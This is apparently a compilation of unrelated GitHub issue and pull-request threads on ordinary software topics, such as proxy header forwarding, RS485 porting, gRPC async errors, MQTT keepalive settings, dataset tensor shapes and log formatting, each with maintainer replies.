x-forwad-proto header is not forwarded correctly to authentication service

Describe the bug
We use datawire ambassador behind nginx as an ingress controller. Since Nginx does the tls termination there is already an x-forwad-proto header set when the request hits ambassador.
If the request is now forwarded to our authentication service the value of this header changes from https to http.
To Reproduce
Deploy an Authentication Service like described here https://www.getambassador.io/user-guide/auth-tutorial/#1-deploy-the-authentication-service  but with ambassador behind nginx as ingress controller doing also tls termination.
Expected behavior
x-forward-proto should not be changed and forwarded with the correct value https to the authentication service.
Versions

Ambassador:  0.50.rc
Kubernetes environment bare metal
Version 1.13.0

0.50.0-rc3 correctly defaults to allowing the external auth service to see X-Forwarded-Proto. Tests are added in #1080.

We are using the default ambassador configuration without explicitly setting that property.  I set it to "true" on 0.40.2 and saw the same behavior.
What are the downsides to running 0.50.0 with that flag off?

@mthird Having the flag set to false won't append all the IPs to XFF. I believe you have it your example  above:
0.40.2
"x-forwarded-for": "4.xx.xx.xx"

0.50.x
"x-forwarded-for": "4.xx.xx.xx,10.xx.xx.xx"

The other change in behaviour, I believe I explained here: https://github.com/datawire/ambassador/issues/1053#issuecomment-457269553
Just to confirm. When you say the same behaviour, it means that the authorization server is seeing
x-forwarded-for: https and upstream is seeing x-forwarded-for: http. Is that correct?

With use_remote_address: false, I see that x-forwarded-for: https on both 0.40.2 and 0.50.0 and with use_remote_address: true, I see x-forwarded-for: http on both.  My concern would be that the other x-forwarded-* headers might become unbalanced with that flag off.

With use_remote_address: false, I see that x-forwarded-for: https on both 0.40.2 and 0.50.0 and with use_remote_address: true, I see x-forwarded-for: http on both. My concern would be that the other x-forwarded-* headers might become unbalanced with that flag off.

Are you seeing these headers in authorization service or in the upstream?

We don't use the authorization service.  This is in the upstream.

I would start looking at which X-Forward- headers the rest of your system depends on and then checking Envoy docs to see how use_remote_address will affect them.
One affected will be x-forwarded-for as seen above https://github.com/datawire/ambassador/issues/1053#issuecomment-459847872.

@mthird Let me know if you can't find all the information in the docs. I can look at Envoy code for you.

I'm going to go ahead and close this -- feel free to contact us here or on Slack if need be!


Making RPi device as Master Controller

Hi @RobTillaart ,
Thanks for giving me such great library on RS485 communication. I have been working with your RS485 library for more than 2 months. I successfully connected 30 RS485 devices on a Single bus and communicating with each other with your library. I used ESP32 for all the devices. Now I want to convert the Master device into Raspberry Pi. I tried to convert your code into Python. In the latest version (0.4.0) of your library, you have mentioned that you used the RPi Pico board in RS485 Slave Controller Example program .arduino-ci.yml file. Can you please explain the process of implementing your library on RPi Pico board and RPi 4B board ?
On seeing the other issues in your library, I think you are trying to implement the ACK and NACK in the communication protocol for more robust communication and finding the surety of message receiving from the Slave devices. Do you have any plans of implementing those names in the message format on your library?

Thanks for the compliment, you're welcome.

wrt your questions
RPi Pico
This board is programmable with the Arduino IDE in C++. Check the board manager.
RPI4B
The library is never tested on RPI as far as I know. it should be possible to port the code to the C++ environment of RPI.
Python
Sorry, I do not have time to port my libraries to RPI / python. Feel free to port it and reference this library (see license).
ACK / NACK
The examples are just meant for people to have a starting point.
There was a request for an ACK/NACK example so I made a very simple one.
Imho ACK/NACK has very limited use.
The message format in the library is a more worked out example.
I have no intention to extend the protocol with ACK NACK.
Users are free to implement their own (derived) class and override the protocol.
Hope this answers your questions.

Thanks for your Quick and Clear explanation. I will try to implement the library in RPi 4 and let you know, if I succeed. Keep up your good work.

Thanks for your Quick and Clear explanation. I will try to implement the library in RPi 4 and let you know, if I succeed. Keep up your good work.

If you make a Python repository, I will link to that of course!


Initial implementation

See commits for comments.

It would be useful a README.md with some usage examples in later commit.


Model checkpoint release

Thank you for your great work and sharing the code! May I know if it would be possible to release the model checkpoint that yields the best performance (last row in Table 2)?

+1 !!!!!


Adding TitlePlayer class

Add TitlePlayer (and PFTitlePlayerHandle) as a strongly typed Title Player Entity. Title Player Entities are returned from login APIs, and making requests as a TitlePlayer Entity represents a high percentage of normal SDK usage.  Internally, TitlePlayer will inherit from Entity, meaning it has an EntityId, Token, type, etc.  In addition TitlePlayers will have a ClientSessionTicket & and other attributes that are returned from login the request.
Entity (and PFEntityHandle) remain to represent generic Entity.  Entity APIs still take a PFEntityHandle parameter, while classic APIs have been updated to take a PFTitlePlayerEntity.
New PFTitlePlayerGetEntityHandle method allows titles to get a generic PFEntityHandle from a PFTitlePlayerHandle.  The generic EntityHandle and TitlePlayerHandle refer to the same internal object, but must be managed separately by the title.
Pushed auth retry logic from XAsync provider to PlayFab::HttpClient

    addAuthHeader: addAuthHeader,

remove

Refers to: make.js:109 in 94dc791. [](commit_id = 94dc7915306845de879a40745043ab643350413c, deletion_comment = True)


select feature in map and datatable

 Daten selektieren in Tabelle

please check if you try to select a feature or a layer. Also, create tasks for todos


Add clip_min parameter for Fst GWSS analyses

Resolves #543.
I have added a parameter, clip_min, which allows the user to set an optional minimum value for the Fst GWSS functions. Previously they were automatically clipped to 0-1, which is confusing when looking at Fst data between relatives.

Just to note that there is a minor linting failure, and other CI test failures due to not being able to authenticate with Google Cloud from a fork. Also needs an update from the master branch.

Bringing this in via #580.


Stop logging retry messages when retries won't actually be performed

Background
Don't log that we will retry when there is no time left and reties won't be performed.
Don't log that retries have timed out if we never performed them as there was no time e.g. the initial request took longer than the retry duration.
Before
Would log that a retry was going to be performed when there was no time left.

Would log that retries were attempted even if none were performed.
After
Will not log we are about to retry when there is no time left.
Will not log that retries timed out if no retries were attempted.
How to review this PR

Quality :heavy_check_mark:

Pre-requisites

[ ] I have read How we use GitHub Issues for help deciding when and where it's appropriate to make an issue.
[ ] I have considered informing or consulting the right people, according to the ownership map.
[ ] I have considered appropriate testing for my change.

[sc-58644]


Mentions are hard to read in light themes

Mentions are now very hard to read in light/white theme:

Nightly v1.0.876 built 2019-01-31T07:32:25.0000000Z

This seems to be fixed in the latest version @fourtf


Feature Request: Functionality to make divs

The current dot-notation for adding your own classes creates spans. This feature request is to add another notation for creating divs.
.N[my custom thingy]
Results:  my custom thingy

Example implementation:
.#N[my thingy]
Results:
my thingy

I'm not sure what I did, but my original problem (and the reason for opening this issue) seems to have automatically corrected itself and I get divs again. Hrm. I did just update to the latest remark-min.js since last night so maybe that solved my issue without realizing it.


Remove reference to fields becoming private in EAP.

Fixes #1941.
Repository fields are private in upcoming releases, so we can use shorter version of constructor that takes two public repositories by default. I quickly tested and it seems to work fine.

Their process in not so good it seems. Someone just changed that as part of using proxies - non-relevant change at all


feat: added interactive examples

I noticed yarn start is giving an error. I'm not sure if this is the same in master, but wanted to point this out:
➜  react-datepicker git:(pr/1864) yarn run start
yarn run v1.15.2
$ cross-env MODULES=false node server.js
module.js:550
    throw err;
    ^

Error: Cannot find module '/Users/martijn/Development/react-datepicker/server.js'
    at Function.Module._resolveFilename (module.js:548:15)
    at Function.Module._load (module.js:475:25)
    at Function.Module.runMain (module.js:694:10)
    at startup (bootstrap_node.js:204:16)
    at bootstrap_node.js:625:3
error Command failed with exit code 1.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.

Working well now. It took me a bit before I noticed that I could edit the code examples. Should we make it look more like a real editor?

Working well now. It took me a bit before I noticed that I could edit the code examples. Should we make it look more like a real editor?

Maybe add some kind of edit icon in the top right corner? https://fontawesome.com/icons/edit?style=regular
Or write a sentence in the top about it.

Yep, I think and icon would do the trick indeed.

Maybe something for a follow up PR I think. Also have to see if everything works with deployment when we merge to master.

Deployment of course is broken 😄 Have you set the gh-pages branch in the Repository GitHub Pages settings? (not the docs-site sub directory)

I think it's the CNAME file that was removed. Adding it back now to see if that fixes the issue.

Good catch!

Works when you bypass the cache: https://reactdatepicker.com/?1 Thanks!

Yep, works again.


Added Bubble Sort and Insertion Sort

Addresses #114
Bubble Sort and Insertion Sort in C++

Hello @ashishlamsal, thank you for your contribution! Your pull request will be merged shortly.
We hope you had a good time contributing :)


Update the readme with installation & dev instructions

precise requirements
dev requirements
precommit things for devs

This is now partially done but we don't list the dev requirements yet

This is basically done now


First pass at ChaCha20Poly1305 as an IAeadStreamCipher

Here's a first pass at adding ChaChaPoly as an IAeadStreamCipher.

We did end up implementing this, though I'm a bit foggy on the history (Org.BouncyCastle.Crypto.Modes.ChaCha20Poly1305).


US08.08.01

As an approver, I want to approve a submitted expense claim that was approved, denoting the claim status as approved and setting my name as the approver for the expense claim.

Working for ~30min

hooray


crash due to appending of sampled values in  MeterValues response

Hi @matth-x ,
the sampled meter values are appending in the Metervalues response every time the response is sent to the server.
after the Metervlaue size reaches 30k bytes as response, there is no meter value in the subsequent metervalue response,( [OCPP] Send: [2,"1000023","MeterValues",{"connectorId":1,"transactionId":1702437577,"meterValue":[{}]}]
[OCPP] Recv: [4,"1000023","InternalError","internal error",{}])
the code is crashed after this.
I have attached snips of log
metervalues.txt

Hi @Aylaa1,
You need to set the MeterValueInput only once. The callback will be valid for the entire runtime of the library. When the MeterValueInput is set, then the library will fetch the metering data by calling that function.
The crash occurs when the OCPP server rejects the MeterValue message. Thanks for reporting this bug, I will reproduce it and fix it soon!

Hi @matth-x ,
Is there any update or release of the fixed version on this issue?
Thanks,
Aylaa


Doesn't render Facebook creatives

The version of prescribe.js doesn't render Facebook creatives as Facebook uses "custom" HTML tags for their ad placements.
These are not recognized by postscribe.js without a fix - I've did some changes to it already and found it to enable the rendering of those creatives, but there might be more code changes needed, so please check and adapt if necessary.
prescribe/src/streamReaders.js
   // Regular Expressions for parsing tags and attributes
-  var startTag = /^<([\-A-Za-z0-9_!]+)((?:\s+[\w\-]+(?:\s*=?\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/;
-  var endTag = /^<\/([\-A-Za-z0-9_]+)[^>]*>/;
+  var startTag = /^<([\-A-Za-z0-9_!:]+)((?:\s+[\w\-]+(?:\s*=?\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/;
+  var endTag = /^<\/([\-A-Za-z0-9_:]+)[^>]*>/;
   var attr = /(?:([\-A-Za-z0-9_]+)\s*=\s*(?:(?:"((?:\\.|[^"])*)")|(?:'((?:\\.|[^'])*)')|([^>\s]+)))|(?:([\-A-Za-z0-9_]+)(\s|$)+)/g;
   var fillAttr = /^(checked|compact|declare|defer|disabled|ismap|multiple|nohref|noresize|noshade|nowrap|readonly|selected)$/i;

I dont know if this is just for me or if its mergeable.

Can you open a pull request with a unit test (failing on unpatched version, working on patched version)?

ok
2017-01-06 17:42 GMT+01:00 Seth Yates<EMAIL_ADDRESS>
Can you open a pull request with a unit test (failing on unpatched
version, working on patched version)?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/krux/prescribe/issues/209#issuecomment-270945363, or mute
the thread
https://github.com/notifications/unsubscribe-auth/ADPwokw2ybyE2xFz8nqBFTFSZyXfaJWIks5rPm8OgaJpZM4LLpj0
.

--
Marco Antonio Pajares Silva
Frontend Developer at Smaato
page: http://ayxos.com/
github: https://github.com/cybermarkus1

Closing, please link the PR

I am not able to run the test, when i run 'npm run build' on prescribe it fails. I have created a JSFiiddle

Current: https://jsfiddle.net/ayxos/ed7a11gd/
FIX: https://jsfiddle.net/ayxos/whkh51ur/


Explain why custom URIs should be preferred over multiple image repos

This relates to the discussion of #4. This PR just adds some guidance on how to deal with the situation where you have multiple existing repositories, by recommending using a single image repo to serve all the metadata while offering up download locations either via API/HTTP redirects or via custom targets metadata.
Signed-off-by: Jon Oster<EMAIL_ADDRESS>

LGTM, but our style guide is to capitalize "Image repository" and "Director repository".

@tkfu --There are a few small wording suggestions that need to be resolved. Can we get this done?


Fixes a bug where if the initial value was null it threw an exception

Basically it just wasn't checking to see if the date existed before trying to get its value.

Well, could help :+1:
I would merge it, but I am not able to test is. I do not work with angular2 (and angular at all) anymore.
Does anyone need it :question:

Yeah, I would use it

Ok it will try to release a version with this fix today or tomorrow

@4-Eyes
whoa sorry, I had to revert the changes.
Actually, the project is so old that when I tried building it now it failed! 😢
If you can run rpm run build and generate the sources I would be glad to push it to the npm but currently the project did not work at all for me.
What is worse, I do not want to waste time on checking it since I am so out of date with all this stuff.

@4-Eyes if you could build the app I will merge your changes.

I've just built it and pushed the changes. I'm going to make sure that it wasn't just working on one machine.

Yeah, looks like it should build. Just had some outdated packages in it.

Please create new Pull Request. Thanks


Type: add helpers for managing typeof and attributed types

The idea behind this is to prepare for #733 by making typeof and attributed types slightly less annoying to deal with, by moving the recursive call logic to a single place (2 actually), which should make it easier to add a new typedef specifier which will generally just call into its subtype for most of the Type functions.

Wouldn't something more like canonicalize be better? This strategy already requires a duplicate function with a one arg difference.
Maybe a Type.base() which would use a while loop instead of recursion. Most places that use canonicalize seem like they actually want that kind of functionality.

Is the idea that each function that currently recurses on typeof/attributed types, should instead call canonicalize/base on its argument first? I think that would also work and yeah probably simpler.

This branch has a fairly heavy performance hit (~5% for large files), and even with just Type.base replacing canonicalize where we only want the specifier, it's still about 1.5% slower. So now I'm kinda leaning toward, we just implement typedef specifiers in the code as-is, and then hopefully clean everything up with Type interning in the future.


Training the TSN model on custom dataset - couldn't implement as mentioned in paper

I am trying to train action detection model using TSN network for a different custom dataset.
In the original TSN paper it is mentioned that along with rgb data, rgb differences and optical flow is passed into the model. Moreover the entire video is divided into snippets and then model prediction is done based on the results of it. I couldn't find that type of implementation here or in mmaction repository. Please help me in knowing how can I implement the action detection task on a custom dataset as mentioned in the paper. Thanks.

When I am trying to train I am able to do with either rgb or flow and cannot train both together. The accuracy is stuck in between 60-70%. My config file is attached..
config.txt


Add support for custom app bar and status bar heights

Current Header view implementation doesn't have support for fullscreen iOS apps (that is apps without status bar). It also lacks support for custom (app) bar height. While it would be ideal to be able to customise the Header using the style prop, it is not possible due to the layout mechanism used in CardStack. For that reason my proposal is to introduce two props: barHeight and statusBarHeight. The same prop names were used with ex-navigation.

I'll not merge this since we're doing some refactoring for header.

Okay, I'll wait for your solution.

There will be small conflicts (I guess), but refactor is done and waiting for merge. Thanks @satya164 for keeping an eye on that.

@satya164 I'll review that one tomorrow and merge after my back button label lands. We should have then the header refactoring done 100%.

This looks like a decent step, but it would be really cool to be able to configure the status bar and header height for each screen in the navigationOptions

...it would be really cool to be able to configure the status bar and header height for each screen...

I guess you're right. We're using statusBarHeight = 0 when the screen is in fullscreen mode (that is without status bar). Now, it is possible that one screen wants to be presented without status bar (fullscreen) and another with status bar. In such case it would be useful to be able to configure this setting on per-screen basis.  However, transition from one screen to another in such case would probably look silly without animations. For that reason I'd implement this feature as I've proposed and leave per-screen options to backlog.
As a side note, we're also leveraging react-navigation with menus and when the navigator is used in menu context, we generally want to set the statusBarHeight to 0.

@ericvicenti

This looks like a decent step, but it would be really cool to be able to configure the status bar and header height for each screen in the navigationOptions

I believe we can add it in next PR to CardStack.
@juhasuni
We already apply style to headerComponent and that style is on per-screen basis. Same limitations apply to the statusBarHeight and barHeight.
Also, do we need barHeight prop? Isn't it able to unpack the style we received and check for height? Would be nice if header respected the prop it was given.

Also, do we need barHeight prop? Isn't it able to unpack the style we receiver and check for height?

I personally prefer using style prop over layout props such as height when ever possible. But picking layout props from the style prop is something I've tried to avoid. If we can get rid of the appBar child component, we wouldn't need to unpack the style.

Please see my new PR #341 which is based on Header customisation using only style prop. I think that this PR should be closed and we should focus on the alternative method.

Sounds good, thanks for all the work @juhasuni on that :)


Move function-p&t from upbound to crossplane-contrib

Description of your changes
The Upbound fork of function-patch-and-transform has been retired. This PR moves the composition to the crossplane-contrib repository
I have:

[x] Read and followed Upbound's contribution process.
[ ] ~Run make reviewable to ensure this PR is ready for review.~
[ ] ~Added backport release-x.y labels to auto-backport this PR, as appropriate.~

How has this code been tested

[x] Run make render to confirm the composition renders correctly

/test-examples

cannot rebase your branch - will do the work in #27  thanks


Suggestion: Send links through context menu

Right now you can reach Clicky through browser_action.
It will be nice if when you right clicked on a link there will be a 'send to slack' with the different location options (like channels of direct messages)

Nice idea, thanks. Will look into it and definitely add it if it's straightforward enough.

Yea that was pretty straightforward!

Wow that was fast! Thanks 👍

@joshfarrant Thanks for the fast feature implementation but it seems to be bugged. When I right click some link and send it, it actually sends the current url, and not the link I clicked. I'm using the latest 3.0.7 on macOS.

Ok, thanks for letting me know. I'll have a look into it and come back to
you.
On Sun, 2 Jul 2017 at 10:14 Tsury<EMAIL_ADDRESS>wrote:

@joshfarrant https://github.com/joshfarrant Thanks for the fast feature
implementation but it seems to be bugged. When I right click some link and
send it, it actually sends the current url, and not the link I clicked. I'm
using the latest 3.0.7 on macOS.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/joshfarrant/slack-clicky/issues/9#issuecomment-312479879,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AGhiHQ928oH-tsHhxAnacXZnlxBA8Z7jks5sJ1-MgaJpZM4OGxBg
.

--
*Josh Farrant - *Senior Developer at Nimvelo


Sig figs engine misbehaving

Here is the list of correct answers to a (published) question in Level 2 Circuits:

And here is staging accepting an answer with a wrong number of sig figs as correct

This was introduced and noted in the most recent regression test (23/11/15). It's a trailing zeroes thing . . .

This has occurred because the decision was taken to match against known answers first BEFORE we check for significant figures. The matching that occurs is numeric equivalence. And as 8.0 is equivalent to 8, it marks it as correct

https://dev.isaacphysics.org/questions/a_diode_divider


Main Tabs - Don't scroll the toolbars

The toolbars in the Main Tabs should be fixed at the top. I was going to fix this problem for the SymbolsView but I see the same problem with FindView. In the FindView case only the results should scroll - it's a textview. In the symbols case the scrolling portion is a frame with a tree.
Can this be fixed with the current api?

this is all fixed btw -- all depends on setting a default size for scrollable area per discussion in gi.Layout on gi wiki.


Ability to clone a worksheet

Adding Clone() method on a worksheet. This does a deep-copy of the underlying worksheet, and all of its data structures.
(Fixing doAppend which was modifying lastRank of the slice being appended to, instead of only setting a new value in the new slice which contains the appended element.)

thank you @workmajj for the quick review, glad it's easy to read


Make 47 Language-neutral campaigns English

This will fix #4897 and bring more consistency to the Thor.
We can do it programmatically (will take about 3 hours) or assign somebody to go through it manually.

cc @sheydari-ds @mikefantini @julielorch @namimody

[7:55 PM] Sergii Tkachenko: as i understand, the field display depends on users’s language
[7:56 PM] Sergii Tkachenko: and when the language is explicitly set to English, it looks for a English “translation” of the image field
[7:56 PM] Sergii Tkachenko: i don’t think this campaigns are suppose to be lanugage-neutral in the first place
[7:57 PM] Sergii Tkachenko: can we clarify that?
[7:57 PM] Sena Heydari: Yeah, let’s ask that during stand-up. It does raise the question of if we should have a “Fallback” image though.

@angaither @aaronschachter i assume we're good to just move everything set to English instead of having some in English some in Language neutral but just wanted to see if you could think of any gotcha's in doing this?

I think we are ok to set things to english. my only concern would be all the things we have set to [und] in the code. some classes and checking for variables might break
https://github.com/DoSomething/phoenix/search?utf8=✓&q=und

@angaither Good catch. However, this is inevitable since most of campaign are English, not neutral already.

CC @DFurnes: see last 3 comments.

@sergii-tkachenko what will [und] be when the language is set? is there a way to scope it for all languages?

It depends. If that's field's class and field is not translatable, it'll stay [und]. If translatable: I suppose it will be set to current language.

We need to work out a way to use different language-independent CSS class names.

The CSS file referenced in the search above is for the admin theme, if that makes any difference. The Casper tests could probably be rewritten to use the more human-readable name attributes on each field, rather than the crazy IDs that Drupal generates.

Renamed 47 to 54 (including not published.)


MQTT_MAX_PACKET_SIZE should be set to 1024 and MQTT_SOCKET_TIMEOUT should be set to > 30

According to the document of MQTT-TCP:

Variable header: Keep Alive
The Keep Alive parameter must be included in the CONNECT packet. The allowed range of Keep Alive value is 30-1200 seconds. If the value of Keep Alive is not in this range, IoT Platform will reject the connection. We recommend that you set a value larger than 300 seconds. If the Internet connection is not stable, set a larger value.

https://partners-intl.aliyun.com/help/doc-detail/73742.htm
https://www.alibabacloud.com/help/zh/doc-detail/73742.htm

依据MQTT-TCP官方文档，keepalive心跳包参数需设置到30秒以上，否则阿里云mqtt服务器拒接连接。建议设置为60~300秒之间。

在 PubSubClient.h 中已经把超时设置改到 60 秒了
https://github.com/aliyun-linkdevelop/airmonitor_demo/blob/d94188994ec97df709e0a1e90ee32952183fb8d7/airmonitor_device/lib/PubSubClient/src/PubSubClient.h#L31
这个代码应该是可以直接跑起来并且连接到阿里云 MQTT 服务器上。


Grpc c++ asynchronous call error

What version of gRPC and what language are you using?
gRPC 1.4.2 c++
What operating system (Linux, Windows, …) and version?
Windows 7 sp1
What runtime / compiler are you using (e.g. python version or version of gcc)
visual studio 2015 update3
What did you do?
ClientContext context;
void* got_tag = (void*) 1;
bool ok = false;
CompletionQueue cq_;
Status status;
std::shared_ptr<ClientAsyncReaderWriter<SessionRequest, SessionNotify>> stream(
stub_->AsyncSendSessionRequest(&context, &cq_, got_tag));
stream->Write(request, got_tag);
What did you see instead?
when debug, include\grpc++\impl\call.h at line 671, like:call_hook_->PerformOpsOnCall(ops, this);
It throws exception:E0717 17:23:45.284000000 93172 channel_cc.cc:123] assertion failed: GRPC_CALL_OK == grpc_call_start_batch(call->call(), sops, nops, ops, nullptr)
Anything else we should know about your project / environment?
SessionRequest and SessionNotify are user-defined classes

Hi,
Is there any update on this issue?
I am trying to communicate with etcd on it's official grpc intergace.
etcd's AsyncWatch rpc is failing with the same error as above.
grpc v1.6.1
protobuf 3.4.0
etcd 3.2.7
Thanks,
Best Regards,
Roland

When you start a stream, that is creating the reader/write object with a tag, you need to use CompletionQueue::Next to wait for the tag to come back before you can call Write.


differences between papers and implementations

Hi, thanks for sharing this greatful study!
I'm trying to implement your code based on norman data now, and I have 2 questions.

The performance is better than the paper. In the paper, "pearson correlation" is between 0.5 and 0.6, but when I actually implemented it, "test_de_pearson" was about 0.84. And the performance you presented in "demo/model_tutorial.ipynb" also looks about 0.83 based on seen0, seen1. May I know why there is a difference?

In the paper, it says that normal data is a description of K562 cells, but the data downloaded from the link in the code is A549. Can you tell me why there is a difference?

Please let me know if my question is weird or if you have any additional comments.
Thank you very much in advance.

Thanks for your question

pearson_de is not the metric we report in the paper. We report pearson_delta which looks at the Pearson correlation between the predicted change in expression and the true change in expression.

On the other hand, pearson_de looks at the Pearson correlation between the predicted absolute post-perturbation gene expression and the true absolute post-perturbation expression value, only limited to the most differentially expressed genes.  More information on metrics in the paper can be found in Supplementary Table 1.

GEARS currently doesn't make any use of cell_type information so this column is set arbitrarily and does not impact model training in any way.


removed deprecated goreleaser options

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 93.811%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
1819

Relevant Lines:
1939

💛  - Coveralls


Call out that spans can be nested in the conceptual docs

It's kinda Spans 101 level stuff, but it's not explicitly called out and I figured that felt missing.

Closing in favor of patch from my fork


Add new IP address in whitelist in siteimprove

There is a mail from siteimprove to add new IP address in the list of whitelisted IPs
https://help.siteimprove.com/support/solutions/articles/80001011038

Investigate if we need it

Is there something I need to do?
For most customers, nothing will change. However, if you've previously been advised by Siteimprove to include our service's IP addresses to your allow list, you will now also need to add our new IP addresses. The new IP addresses are listed below.

Based on this, if someone can confirm that we were not asked by siteimprove to add the IP addresses, we can consider to close this issue.

@meols see comment above

@SvSven - I have read the article, but don't know if it is neccessary or not. Can you please check with Siteimprove Support<EMAIL_ADDRESS>

Sent mail to support ..

Closing this for now. We are not very sure that we need to whitelist IP addresses. We can reopen this if needed.


RuntimeError:The size of tensor a (512) must match The size of tensor B (3) at non-singleton Dimension 4

https://github.com/wangle53/TransCD/blob/be511a1d2e39a8906dc44023e35d310c991de75b/utils/make_dataset.py#L45
Thank you for sharing the code.
I have a question I'd like to answer from you.
At make_dataset.py, line 45, gt adds a dimension, which causes The error"RuntimeError: The size of tensor a (512) must match The size of tensor B (3) at non-singleton Dimension 4". What are the considerations for this step?
Best regards

Adding a dimension to GT is not always necessary which depends on the gt data type of your datasets. In any case, makesure the gt dimensions are correct in shape [Batch, Channel, Hidth, Width]. In your case, it maybe the reason of dismatched shapes between gt and output features. Please print the relative feature shapes and make sure the input tensor shapes are in the same shapes, especially the channel dimension.

I print the shape of x1, x2, and gt.  x1 and x2 are transformed from (512, 512, 3) to (3, 512, 512) by function that is transforms.Totensor() . And the dimensions of gt at "gt = np.asarray(gt).astype(np.float)" is (512, 512, 3). In my opinion, I think the dimensions of the three pictures(Compare pictures and labels) should be the same. Why is this happening? Please enlighten me, thanks! Thank you for your patience！
The following figure shows that the results of running “If TRANSFORM:” once

The shape of gt should be [B 1 H W]. For the used dataset in our paper, the gt is 1-channel image, hence we add a new dimension during data processing phase.
Do you use your own dataset on TransCD? I think your gt imagess are 3-channel images. Please ensure they are 1-channel images.

The shape of gt should be [B 1 H W]. For the used dataset in our paper, the gt is 1-channel image, hence we add a new dimension during data processing phase. Do you use your own dataset on TransCD? I think your gt imagess are 3-channel images. Please ensure they are 1-channel images.

I using VL_CMU_CD dataset.

before gt = gt[np.newaxis, :, :]; adding this code:  gt = gt[:, :, 0];

From what you've explained, I think this kind of modification is helpful, and I also think that artificially reducing the dimensionality of the code will work. Thank you for your guidance.

You are welcome. By the way, from my test, the mask imgs in VL-CMU-CD datase are 1-channel images. I'm not sure if you have changed some code in the submittd code source. Please check your code, make sure the shape of GT is [B 1 H W]


BUG: Aligns performance packet generation between minute and daily modes

This PR re-aligns the end-of-day logic between 'minute' and 'daily' emission modes in the PerformanceTracker. As part of this, the trade simulation is retooled to handle the perf packets.

Looks good to me!


Does Save_to_disk work for GPTChromaIndex

I followed the docuementation and generated an index using Chroma and save it to disk. The index does work, but the save to disk does not appear to work. Does save_to_disk work for GPTChromaIndex? Here's an example of the code, the index generated appears to be missing the embedding information:
import chromadb
import os
from langchain import OpenAI
from llama_index import LLMPredictor, GPTChromaIndex, SimpleDirectoryReader
def open_file(filepath):
with open(filepath, 'r', encoding='utf-8') as infile:
return infile.read()
os.environ["OPENAI_API_KEY"] = open_file('openaiapikey.txt')
chroma_client = chromadb.Client()
chroma_collection = chroma_client.create_collection('documents')
documents = SimpleDirectoryReader('data').load_data()
llm_predictor = LLMPredictor(llm=OpenAI(temperature=0, model_name="text-embedding-ada-002"))
index = GPTChromaIndex(documents, llm_predictor=llm_predictor, chroma_collection=chroma_collection)
index.save_to_disk('index.json')

Hey @paulsiu1887, thanks for raising. for vector store indices, save_to_disk just saves very basic information about the index, like the doc_id and summary text. The bulk of the info is stored within the chroma collection itself.
Going to close this issue for now; for questions about usage please join our discord! https://discord.gg/dGcwcsnxhU

yep! exactly. great feel free to follow up with more questions on the discord @paulsiu1887, i'll close this issue for now


Remove usage of distutils in build.py scripts

PR to remove all usage of distutils from the codebase.
distutils is currently used in some test fixtures that use build.py scripts in order to build C++ extension modules. distutils will be deprecated in Python 3.12.

FYI, this one needed a rebase, since it was based on a rather old version of the main branch.
It looks like you still rely on master locally, and poetry-core moved to main a few months ago, so I'd recommend updating your local reference if you want to make further contributions.


Keras vectorizer build_embedding_matrix additions

Description
Fixing https://github.com/wellcometrust/WellcomeML/issues/35
I can't actually see any usage of the "build_embedding_matrix" function in other projects, so I'm hoping setting embeddings_path=None doesn't break anything.
I've set it so that the function can take a gensim word vector name if the local path isn't given. But can change the logic if this isn't ideal, I wasn't sure whether it'd be better to just give a default model name?
Checklist

[ ] Added link to Github issue or Trello card
[ ] Added tests

Codecov Report

Merging #155 into master will increase coverage by 0.57%.
The diff coverage is 76.66%.

@@            Coverage Diff             @@
##           master     #155      +/-   ##
==========================================
+ Coverage   79.11%   79.68%   +0.57%
==========================================
  Files          39       39
  Lines        1958     1979      +21
==========================================
+ Hits         1549     1577      +28
+ Misses        409      402       -7

Impacted Files
Coverage Δ

wellcomeml/ml/keras_vectorizer.py
86.53% <76.66%> (+31.69%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 27b483d...c72772e. Read the comment docs.

@nsorros I've made those changes. It looks like when you download a gensim model it will cache it automatically and get the file from there going forward - so didn't need to write anything for this.
"Gensim has a gensim.downloader module for programmatically accessing this data. The module leverages a local cache that ensures data is downloaded at most once." https://radimrehurek.com/gensim/auto_examples/howtos/run_downloader_api.html


Print tenant name in logs instead of tenant ID

Description
Changed approach after discussion with Mark. Closing previous pull request.
This fixes #955
If the request comes with a tenant_name already, I return a path with symlink name instead of tenant UUID. The OS will handle resolving symlinks.
Testing done:
Manual tests:

Create VMDK
Remove VMDK

Ran multiple runs of CI automation.
After multiple ESX server operations, logs do not show tenant UUID in vmdk_path anymore.
Here is a CI test I scheduled on build server: https://ci.vmware.run/vmware/docker-volume-vsphere/458
Log Excerpts
06/09/17 20:57:14 5055174 [photon-VM0.2-sharedVmfs-0._DEFAULT.option_volume_3132227180552437724] [INFO   ] *** createVMDK: /vmfs/volumes/sharedVmfs-0/dockvols/_DEFAULT/option_volume_3132227180552437724.vmdk opts = {'fstype': 'ext4', 'size': '10gb'} vm_name=photon-VM0.2 tenant_uuid=11111111-1111-1111-1111-111111111111 datastore_url=/vmfs/volumes/591cfe9a-12f9884b-340d-020037ced216
06/09/17 20:57:27 5055174 [photon-VM0.2-sharedVmfs-0._DEFAULT.option_volume_8185258463521160967] [INFO   ] *** removeVMDK: /vmfs/volumes/sharedVmfs-0/dockvols/_DEFAULT/option_volume_8185258463521160967.vmdk
06/09/17 20:57:18 5055174 [photon-VM0.2-sharedVmfs-0._DEFAULT.option_volume_182702735967048418] [INFO   ] *** attachVMDK: /vmfs/volumes/sharedVmfs-0/dockvols/_DEFAULT/option_volume_182702735967048418.vmdk to photon-VM0.2 VM uuid = 564d5cac-bc2b-bfde-45ca-14f6f8437476

And sorry I just noticed here: line 751
I guess you may want to add the return of readable_path here too (with the checks).
And btw for line 734, it looks like the second half "not os.path.isdir(path)" check is not necessary.

